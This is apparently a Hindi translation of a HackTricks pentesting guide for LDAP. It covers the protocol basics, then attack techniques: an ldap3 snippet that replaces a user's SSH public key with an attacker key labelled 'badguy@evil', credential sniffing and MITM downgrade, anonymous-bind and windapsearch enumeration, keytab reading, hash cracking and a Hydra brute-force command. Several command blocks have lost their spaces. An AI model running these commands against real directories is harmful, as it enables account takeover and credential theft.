LDAP (लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल) का उपयोग मुख्य रूप से विभिन्न संस्थाओं जैसे संगठनों, व्यक्तियों और नेटवर्क के भीतर फ़ाइलों और उपकरणों जैसे संसाधनों को खोजने के लिए किया जाता है, चाहे वे सार्वजनिक हों या निजी। यह अपने पूर्ववर्ती, DAP की तुलना में एक सुव्यवस्थित दृष्टिकोण प्रदान करता है, जिसमें कोड का आकार छोटा होता है।
LDAP निर्देशिकाएँ इस तरह से संरचित होती हैं कि उन्हें कई सर्वरों में वितरित किया जा सके, प्रत्येक सर्वर में निर्देशिका का एक प्रतिलिपि और समन्वयित संस्करण होता है, जिसे डायरेक्टरी सिस्टम एजेंट (DSA) कहा जाता है। अनुरोधों को संभालने की जिम्मेदारी पूरी तरह से LDAP सर्वर पर होती है, जो आवश्यकतानुसार अन्य DSAs के साथ संवाद कर सकता है ताकि अनुरोधकर्ता को एकीकृत प्रतिक्रिया प्रदान की जा सके।
LDAP निर्देशिका का संगठन एक पेड़ की संरचना की तरह होता है, जो शीर्ष पर रूट निर्देशिका से शुरू होता है। यह देशों में शाखा करता है, जो आगे संगठनों में विभाजित होते हैं, और फिर विभिन्न विभाजनों या विभागों का प्रतिनिधित्व करने वाले संगठनात्मक इकाइयों तक पहुँचता है, अंततः व्यक्तियों के स्तर तक पहुँचता है, जिसमें लोग और साझा संसाधन जैसे फ़ाइलें और प्रिंटर शामिल होते हैं।
डिफ़ॉल्ट पोर्ट: 389 और 636(ldaps)। ग्लोबल कैटलॉग (एक्टिवडायरेक्टरी में LDAP) डिफ़ॉल्ट रूप से पोर्ट 3268 और 3269 पर उपलब्ध है।
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP डेटा इंटरचेंज फॉर्मेट
LDIF (LDAP डेटा इंटरचेंज फॉर्मेट) निर्देशिका सामग्री को रिकॉर्ड के सेट के रूप में परिभाषित करता है। यह अपडेट अनुरोधों (जोड़ें, संशोधित करें, हटाएं, नाम बदलें) का प्रतिनिधित्व भी कर सकता है।
पंक्तियाँ 1-3 शीर्ष स्तर डोमेन local को परिभाषित करती हैं
पंक्तियाँ 5-8 पहले स्तर डोमेन moneycorp (moneycorp.local) को परिभाषित करती हैं
पंक्तियाँ 10-16 2 संगठनात्मक इकाइयों को परिभाषित करती हैं: dev और sales
पंक्तियाँ 18-26 डोमेन का एक ऑब्जेक्ट बनाती हैं और विशेषताओं को मानों के साथ असाइन करती हैं
डेटा लिखें
ध्यान दें कि यदि आप मानों को संशोधित कर सकते हैं तो आप वास्तव में दिलचस्प क्रियाएँ करने में सक्षम हो सकते हैं। उदाहरण के लिए, कल्पना करें कि आप अपने उपयोगकर्ता या किसी भी उपयोगकर्ता की "sshPublicKey" जानकारी बदल सकते हैं। यह अत्यधिक संभावित है कि यदि यह विशेषता मौजूद है, तो ssh सार्वजनिक कुंजियों को LDAP से पढ़ रहा है। यदि आप किसी उपयोगकर्ता की सार्वजनिक कुंजी को संशोधित कर सकते हैं तो आप उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होंगे, भले ही ssh में पासवर्ड प्रमाणीकरण सक्षम न हो।
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/>>> importldap3>>> server=ldap3.Server('x.x.x.x',port=636,use_ssl=True)>>> connection=ldap3.Connection(server,'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN','PASSWORD',auto_bind=True)>>> connection.bind()True>>> connection.extend.standard.who_am_i()u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Sniff clear text credentials
यदि LDAP को SSL के बिना उपयोग किया जाता है, तो आप नेटवर्क में plain text में credentials को sniff कर सकते हैं।
इसके अलावा, आप नेटवर्क में LDAP सर्वर और क्लाइंट के बीच एक MITM हमला कर सकते हैं। यहाँ आप एक Downgrade Attack कर सकते हैं ताकि क्लाइंट clear text में credentials का उपयोग करके लॉगिन कर सके।
यदि SSL का उपयोग किया जाता है तो आप ऊपर बताए गए अनुसार MITM करने की कोशिश कर सकते हैं लेकिन एक false certificate पेश करके, यदि उपयोगकर्ता इसे स्वीकार करता है, तो आप प्रमाणीकरण विधि को डाउनग्रेड कर सकते हैं और फिर से credentials देख सकते हैं।
Anonymous Access
Bypass TLS SNI check
इस लेख के अनुसार, केवल एक मनमाने डोमेन नाम (जैसे company.com) के साथ LDAP सर्वर तक पहुँचकर, वह एक अनाम उपयोगकर्ता के रूप में LDAP सेवा से संपर्क करने और जानकारी निकालने में सक्षम था:
LDAP अनाम बाइंड्सअसत्यापित हमलावरों को डोमेन से जानकारी प्राप्त करने की अनुमति देते हैं, जैसे कि उपयोगकर्ताओं, समूहों, कंप्यूटरों, उपयोगकर्ता खाता विशेषताओं और डोमेन पासवर्ड नीति की पूरी सूची। यह एक विरासत कॉन्फ़िगरेशन है, और Windows Server 2003 से, केवल प्रमाणित उपयोगकर्ताओं को LDAP अनुरोध शुरू करने की अनुमति है।
हालांकि, प्रशासकों को अनाम बाइंड्स की अनुमति देने के लिए एक विशेष एप्लिकेशन सेटअप करने की आवश्यकता हो सकती है और इरादे से अधिक पहुंच प्रदान की हो, जिससे असत्यापित उपयोगकर्ताओं को AD में सभी वस्तुओं तक पहुंच मिल जाती है।
मान्य क्रेडेंशियल्स
यदि आपके पास LDAP सर्वर में लॉगिन करने के लिए मान्य क्रेडेंशियल्स हैं, तो आप निम्नलिखित का उपयोग करके डोमेन एडमिन के बारे में सभी जानकारी निकाल सकते हैं:
Windapsearch एक Python स्क्रिप्ट है जो Windows डोमेन से उपयोगकर्ताओं, समूहों और कंप्यूटरों को enumerate करने के लिए LDAP क्वेरी का उपयोग करती है।
# Get computerspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--computers# Get groupspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--groups# Get userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Domain Adminspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Privileged Userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--privileged-users
ldapsearch
शून्य क्रेडेंशियल्स की जांच करें या यदि आपके क्रेडेंशियल्स मान्य हैं:
# CREDENTIALS NOT VALID RESPONSEsearch:2result:1Operationserrortext:000004DC:LdapErr:DSID-0C090A4C,comment:Inordertoperformthisoperationasuccessfulbindmustbecompletedontheconnection.,data0,v3839
यदि आप कुछ ऐसा पाते हैं जो कहता है कि "bind पूरा होना चाहिए" का मतलब है कि क्रेडेंशियल्स गलत हैं।
किसी भी पासवर्ड तक पहुँच है या नहीं यह देखने के लिए आप एक क्वेरी निष्पादित करने के बाद grep का उपयोग कर सकते हैं:
<ldapsearchcmd...>|grep-i-A2-B2"userpas"
कृपया ध्यान दें कि यहाँ जो पासवर्ड आप पा सकते हैं वे असली नहीं हो सकते...
pbis
आप pbis यहाँ से डाउनलोड कर सकते हैं: https://github.com/BeyondTrust/pbis-open/ और यह आमतौर पर /opt/pbis में स्थापित होता है।
Pbis आपको आसानी से बुनियादी जानकारी प्राप्त करने की अनुमति देता है:
#Read keytab file./klist-k/etc/krb5.keytab#Get known domains info./get-status./lsaget-status#Get basic metrics./get-metrics./lsaget-metrics#Get users./enum-users./lsaenum-users#Get groups./enum-groups./lsaenum-groups#Get all kind of objects./enum-objects./lsaenum-objects#Get groups of a user./list-groups-for-user<username>./lsalist-groups-for-user<username>#Get groups of each user./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group./enum-members--by-name"domain admins"./lsaenum-members--by-name"domain admins"#Get users of each group./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user./adtool-asearch-user--nameCN="*"--keytab=/etc/krb5.keytab-n<Username>|grep"CN"|whilereadline; doecho"$line";./adtool--keytab=/etc/krb5.keytab-n<username>-alookup-object--dn="$line"--attr"description";echo"======================"done
आप जॉन को पासवर्ड हैश ( '{SSHA}' से 'structural' तक बिना 'structural' जोड़े) के साथ फीड कर सकते हैं।
कॉन्फ़िगरेशन फ़ाइलें
सामान्य
containers.ldif
ldap.cfg
ldap.conf
ldap.xml
ldap-config.xml
ldap-realm.xml
slapd.conf
IBM SecureWay V3 सर्वर
V3.sas.oc
Microsoft Active Directory सर्वर
msadClassesAttrs.ldif
Netscape Directory Server 4
nsslapd.sas_at.conf
nsslapd.sas_oc.conf
OpenLDAP निर्देशिका सर्वर
slapd.sas_at.conf
slapd.sas_oc.conf
Sun ONE Directory Server 5.1
75sas.ldif
HackTricks स्वचालित आदेश
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f